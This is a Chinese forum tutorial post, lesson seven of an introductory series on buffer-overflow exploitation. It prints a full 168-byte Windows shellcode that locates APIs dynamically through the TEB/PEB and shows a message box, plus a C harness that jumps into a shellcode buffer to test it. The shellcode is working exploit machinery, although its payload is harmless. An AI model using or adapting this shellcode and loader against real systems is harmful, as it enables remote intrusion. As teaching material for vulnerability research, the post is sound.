软件漏洞分析入门(七)案例

回复 星标
更多

软件漏洞分析入门(七)案例

To be the apostrophe which changed “Impossible” into “I'm possible”

—— failwest

溢出了的缓冲区,找不到来时的路……

通过基础教学,相信学完前面6讲的朋友们已经初步掌握了缓冲区溢出的最基本原理,我称之为初级+出门。

我们仍然缺少的关于栈溢出的基础知识包括:

1.如何灵活的选取跳转指令(跳板)

2.如何灵活的布置缓冲区,把shellcode摆放在恰当的位置

3.如何在shellcode中动态定位windows API。

4.如何利用淹没S.E.H劫持进程,植入shellcode

5.如何恢复寄存器内容,在溢出后仍然找到“回头路”,

……

在教程的跟贴之中看到许多朋友们遇到困难,提出问题,最终解决问题——不禁让我回想起自己当年自己钻研时的情景。本着对教学负责的态度,在本节我给出一个能够自己动态定位 API 的 shellcode。

char popup_general[]=

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"

"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"

"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"

"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"

"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"

"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"

"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"

"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"

"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"

"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"

"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

上面这段机器码的作用仍然是弹出一个消息框显示“failwest”。用的方法大概如下:通过 FS[0] 定位 TEB,通过 TEB 找到 PEB,进而找到 PE 的导入导出表,再定位 kerner32.dll 的位置,顺藤摸瓜定位到 LoadLibraryA,之后就是康庄大道了 ……

关于这段 shellcode 的细节分析么,呵呵,参看《0day安全》吧。我要说的是我在开发并调试这段 shellcode 的时候,总共用了5天时间(我的汇编基础比较差),之后在各种漏洞场景下实验并改进,最终得出的这段168字节的代码是比较通用和稳定的,我经常用它作为验证漏洞是否可以被 exploit 的POC (proof of concept)代码。

由于 shellcode 往往是在很“恶劣”的环境下被加载的,要想调试这些机器码得动动脑筋才行。我这里给出一个测试和调试shellcode的样例代码:

char shellcode[]="\x66\x81\xEC\x40\x04\x33\xDB……"; // 欲调试的16进制机器码"

void main()

{

unsigned char MachineCode[256]="";

strncpy(MachineCode, shellcode,256);

__asm

{

lea eax, MachineCode

push eax

ret

}

}

上述代码可以简单的模拟漏洞场景并加载运行 shellcode。

好了,虽然现在大家对 shellcode 的具体开发方法还并不是非常清楚,但是我已经给出了一个比较通用的现成货,而且教给你了调试方法,你完全可以从网上搜点各种功能的 shellcode 来试试。(实际上我将使用 MetaSploit 生成各种常见功能的 shellcode,甚至对 shellcode 加个简单的“壳”,自然这部分内容得参见《0day》了)

所以,从技术角度,您已经具备了独立完成溢出利用的最基本技能。

本节的实例,请点击左下角阅读原文查看、下载

这是一个典型的栈溢出漏洞,攻击者通过发送畸形的数据包,可以溢出操作系统中的服务进程,进而远程控制服务器——这也是最标准,最典型,最真实的入侵过程。

识别二维码

508961

508961


打开新世界

2017-02-17 22:32:26更新过
此帖已被锁定,无法回复
新窗口打开 关闭